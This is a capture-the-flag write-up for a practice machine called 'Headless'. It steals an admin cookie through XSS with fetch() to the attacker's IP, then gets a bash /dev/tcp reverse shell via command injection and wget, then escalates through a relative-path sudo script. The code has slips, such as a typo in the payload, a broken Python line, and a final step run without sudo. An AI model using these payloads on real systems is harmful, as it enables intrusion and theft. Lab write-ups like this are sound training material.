# MACHINE - HEADLESS

## OPEN PORTS

```
$ nmap -sVC -T4 -Pn $IP

22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
5000/tcp open  upnp?
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.2.2 Python/3.11.2
```

- Two open ports, one SSH and the other seems to be HTTP

## INVESTIGATING THE SITE

- Opening the site we see a countdown and a button for questions
- The source code shows that when the counter reaches zero then a "Now Live" will the shown
- There is a single Cookie

```
is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs
```

- Gobuster Directory enumeration found two directories: `support` and `dashboard`
- The second one is not accessible.
- Let's click on the "For question" button and redirect to the `/support` page
- There is POST form
- Putting some data and then submitting it seems that does not happen anything.
- From the nmap scan we see that there is `Sever: Werkzeug/2.2.2`

> Werkzeug is a comprehensive WSGI web application library. It began as a simple collection of various utilities for WSGI applications and has become one of the most advanced WSGI utility libraries. WSGI is the Web Server Gateway Interface. It is a specification that describes how a web server communicates with web applications, and how web applications can be chained together to process one request. It includes an interactive debugger that allows inspecting stack traces and source code in the browser with an interactive interpreter for any frame in the stack.

- If the app has been started in debug mode, than it has a `console` page vulnerable to RCE.

- However, debug mode is not enabled.
- Returning to the support page, we could try to use some XXS
- In particular, we would like to obtain an `admin` cookie.
- The first part of the cookie we already have, can be decoded into `user`
- This might mean that it is not the admin cookie
- In the support page we can inject the payload into the message box
- The payload is something like this

```
<img src=x onerror=fecth('http://$MyIP:8000/' + document.cookie);>
```

- This will request for an unexistance image
- If the image does not exists than a request to `'http://$MyIP:8000/' + document.cookie` is made
- Let's start a simple HTTP server with python
- Write a simple Python script to run the POST request

```
import requests

ip = "10.10.16.6" # put your IP here
data = {
    "fname" : "john",
    "lname":"Hend",
    "email":"j.here@email.com",
    "phone":"112123124",
    "message" : f"<img src=x onerror=fetch('http://{ip}:8000/'+document.cookie);>"}

cookie = {"is_admin" : "InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs"}
heads = {
    "Content-Type" : "application/x-www-form-urlencoded",
    "User-Agent": f"<img src=x onerror=fetch('http://{ip}:8000/'+document.cookie);>"
}

resp = requests.post("http://10.10.11.8:5000/support", data=data, cookies=cookie, headers=head
print(resp.text)
```

- Notice that the payload must be also in the `User-Agent` header
- Run the script and ...

```
$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
<truncated> code 404, message File not found
<truncated> "GET /is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1" 404 -
```

- Now, we have a possible admin cookie

```
is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
```

- Notice that `ImFkbWluIg` is the base64 encoding of `admin`
- Now we can try to reach the `dashboard` page using this cookie

## OBTAINING A REVERSE SHELL

- The dashboard page is a simple page with just a date selector and a button
- Let's analyze the post request using Burp
- When clicking the button, there is only one parameter that is `date`
- If we try to use OS command injection, it will work for some reason
- Example, the following request

```
POST /dashboard HTTP/1.1
Host: 10.10.11.8:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Origin: http://10.10.11.8:5000
Connection: close
Referer: http://10.10.11.8:5000/dashboard
Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
Upgrade-Insecure-Requests: 1

date=2023-09-15;id
```

- Will obtain the following response

```
<trucated>
<div id="output-content"
     style="background-color: green; color: white; ..."
>
        Systems are up and running! uid=1000(dvir) gid=1000(dvir)
        groups=1000(dvir),100(users)
</div>
```

- Hence, we can try to inject some revershell command to obtain a shell
- We cannot directly run it using the requests
- Instead, we can upload files and then execute them

- Create a simple `revshell.sh` file

```
#!/bin/bash

IP=10.10.16.6 # put your IP
PORT=1234 # put netcat listening port
bash -i >&1 /dev/tcp/$IP/$PORT 0>&1
```

- Start a simple Python HTTP server using `python3 -m http.server`
- Using Burp make a new POST requests on the `dashboard` page

```
<truncated>
date=2023-09-15;wget http://10.10.16.6:8000/revshell.sh
```

- Start the netcat listener using `nc -nlvp <whatever-port>`
- Finally, run the reverse shell using another HTTP POST request

```
<truncated>
date=2023-09-15;bash revshell.sh
```

- At this point we have a shell on the remote host
- On the remote host we are logged in as `dvir` on its `$HOME/app` folder
- The user flag is in the `$HOME/user.txt` file

```
dvir@headless:~/app$ cd ..
dvir@headless:~$ cat user.txt
<USER-FLAG>
```

- Now, we need to obtain the root flag
- In order to do this we need to escalate privileges

# PRIVILEGE ESCALATION

- First thing, let's see if there are some command that `dvir` can run as sudo

```
dvir@headless:~$ sudo -l
Matching Defaults entries for dvir on headless:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty
```

```
User dvir may run the following commands on headless:
    (ALL) NOPASSWD: /usr/bin/syscheck
```

- It seems that `/usr/bin/syscheck` will be run as root without requesting any password
- The question is: *What syscheck does*?

```
dvir@headless:~$ sudo syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 1.9G
System load average:  0.00, 0.04, 0.00
Database service is not running. Starting it...
```

- With this output we cannot see anything special
- let's inspect the file

```
dvir@headless:~$ file /usr/bin/syscheck
/usr/bin/syscheck: Bourne-Again shell script, ASCII text executable
```

- It is not a compiled executable
- Let's inspect the content

```
dvir@headless:~$ cat /usr/bin/syscheck
<truncated>
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."
fi
```

- From the previous output we can see that it is looking for `initdb.sh` file in the CWD
- To make things simple let's just create it with the following content

```
cat /root/root.txt
```

- At this point just run `syscheck` from the current directory and work is done

```
dvir@headless:~$ syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 1.9G
System load average:  0.07, 0.08, 0.02
Database service is not running. Starting it...
<ROOT-FLAG>
```